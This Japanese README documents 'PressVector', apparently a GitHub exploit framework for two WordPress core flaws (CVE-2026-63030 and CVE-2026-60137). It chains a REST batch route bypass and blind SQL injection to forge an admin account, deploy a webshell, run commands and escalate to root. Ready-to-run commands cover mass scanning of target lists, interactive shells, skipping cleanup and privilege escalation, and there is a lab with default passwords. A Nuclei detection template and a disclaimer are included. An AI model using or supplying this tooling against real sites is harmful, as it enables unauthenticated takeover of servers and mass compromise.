
PressVector - 高度なWordPress脆弱性スキャナー CVE-2026-63030(RESTバッチルート混乱)/ CVE-2026-60137(SQLi)開発者: Vulnquest
⚡ WordPress コア向けの高度な認証前 RCE およびブラインド SQLi エクスプロイトフレームワーク
PressVector は、CVE-2026-63030 と CVE-2026-60137 を標的とした包括的かつ完全自動化されたエクスプロイトフレームワークです。これらは WordPress コア に存在する 2 つの重大な脆弱性であり、組み合わせることで未認証のリモートコード実行を可能にします。
本フレームワークは、REST バッチルート混同とブラインド SQL インジェクションを連鎖させ、管理者セッションを偽造し、ウェブシェルを展開し、任意の OS コマンドを実行します — そのすべてを認証情報なしで行います。
⚠️ 認可されたセキュリティテストおよび教育目的にのみ使用してください。
CVE-2026-63030 は、Adam Kues (Assetnote / Searchlight Cyber) によって発見された、WordPress コアの重大な認証前 RCE 脆弱性です。このエクスプロイトは 2 つの独立した脆弱性を連鎖させます:
| CVE | アドバイザリ | 種類 | 影響 |
|---|---|---|---|
| CVE-2026-63030 | GHSA-ff9f-jf42-662q | REST バッチルート混同 | 認証前 RCE |
| CVE-2026-60137 | GHSA-fpp7-x2x2-2mjf | author__not_in SQL インジェクション | 認証前ブラインド SQLi |
[Unauthenticated Attacker]
│
▼
[1] REST Batch Route Confusion (/batch/v1)
│ Bypass auth context — treat batch as internal
▼
[2] Blind SQLi via author__not_in parameter
│ Time-based binary search extraction
▼
[3] Extract table prefix + admin user ID
│
▼
[4] Forge admin user via UNION-based injection
│ Insert into wp_users + wp_usermeta
▼
[5] Authenticate & Upload webshell via Media API
│
▼
[6] Remote Code Execution 🎯
| WordPress バージョン | 該当する CVE | 影響 | ステータス |
|---|---|---|---|
| 6.8.0 – 6.8.5 | CVE-2026-60137 | 🟡 ブラインド SQLi (高) | ❌ 脆弱 |
| 6.9.0 – 6.9.4 | CVE-2026-63030 + CVE-2026-60137 | 🔴 認証前 RCE (重大) | ❌ 脆弱 |
| 7.0.0 – 7.0.1 | CVE-2026-63030 + CVE-2026-60137 | 🔴 認証前 RCE (重大) | ❌ 脆弱 |
| 7.1-alpha / 7.1-beta1 | CVE-2026-60137 | 🟡 SQLi (高) | ❌ 脆弱 |
| 6.8.6+ / 6.9.5+ / 7.0.2+ | — | ✅ 修正済み | ✅ 安全 |
# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector
# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help
pressvector.py — メインエクスプロイトフレームワーク4つの動作モードを備えたフル機能のエクスプロイトフレームワーク。
scan — マルチターゲット脆弱性スキャナー大規模に脆弱なWordPressインストールを検出するための、高速でマルチスレッド対応のスキャナー。
# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com
# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10
# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json
check — ブラインドSQLiの確認タイミング調整を用いて、単一のターゲットで時間ベースのブラインドSQLインジェクションを確認します。
# Check a single target
python pressvector.py check http://target.com
# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5
exploit — 完全なRCEエクスプロイトチェーン完全なエクスプロイト: 管理者偽造 → webshell配備 → コマンド実行。
# Execute a single command
python pressvector.py exploit http://target.com -c "id"
# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i
# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup
privesc — 権限昇格RCE の達成後にローカル権限昇格を試みます。
# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i
# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup
pressvector-wp2shell-detection.yaml — Nuclei 検出テンプレート大規模なパッシブ検出向けの実運用可能な Nuclei テンプレートです。
# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com
# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt
# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50
テンプレートの機能:
これらの脆弱性を安全かつ分離された環境でテストするための、完全自動化されたコンテナ化ペネトレーションテストラボが含まれています。
Windows(PowerShell):
cd pressvector-lab
.\start-lab.ps1
Linux / macOS:
cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh
(初回実行時は、WP-CLIインストーラーがすべてのWordPressサイトを自動的にセットアップするまで約60〜90秒お待ちください)。
| ポート | サービス | WordPressバージョン | 脆弱性 / ステータス |
|---|---|---|---|
| 8080 | ターゲット1 | 6.8.5 | CVE-2026-60137(ブラインドSQLiのみ) 🔴 |
| 8081 | ターゲット2 | 6.9.4 | CVE-2026-63030(認証前RCE) 🔴 |
| 8082 | ターゲット3 | 7.0.1 | CVE-2026-63030(認証前RCE) 🔴 |
| 8083 | リファレンス | 最新 | パッチ適用済み / 安全なリファレンス ✅ |
| 8084 | PHPMyAdmin | — | DB管理ツール |
| 8085 | ラボダッシュボード | — | ターゲットのステータスとコピー可能なコマンドを表示するWeb UI 🖥️ |
管理者認証情報: admin / admin123
MySQL Rootパスワード: root
自動テストスイートを使用して、ラボ全体の状態とエクスプロイトパスを検証できます:
# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py
stop-lab.sh または .\stop-lab.ps1 を実行reset-lab.sh または .\reset-lab.ps1 を実行より高度な手順とトラブルシューティングについては、Lab README を参照してください。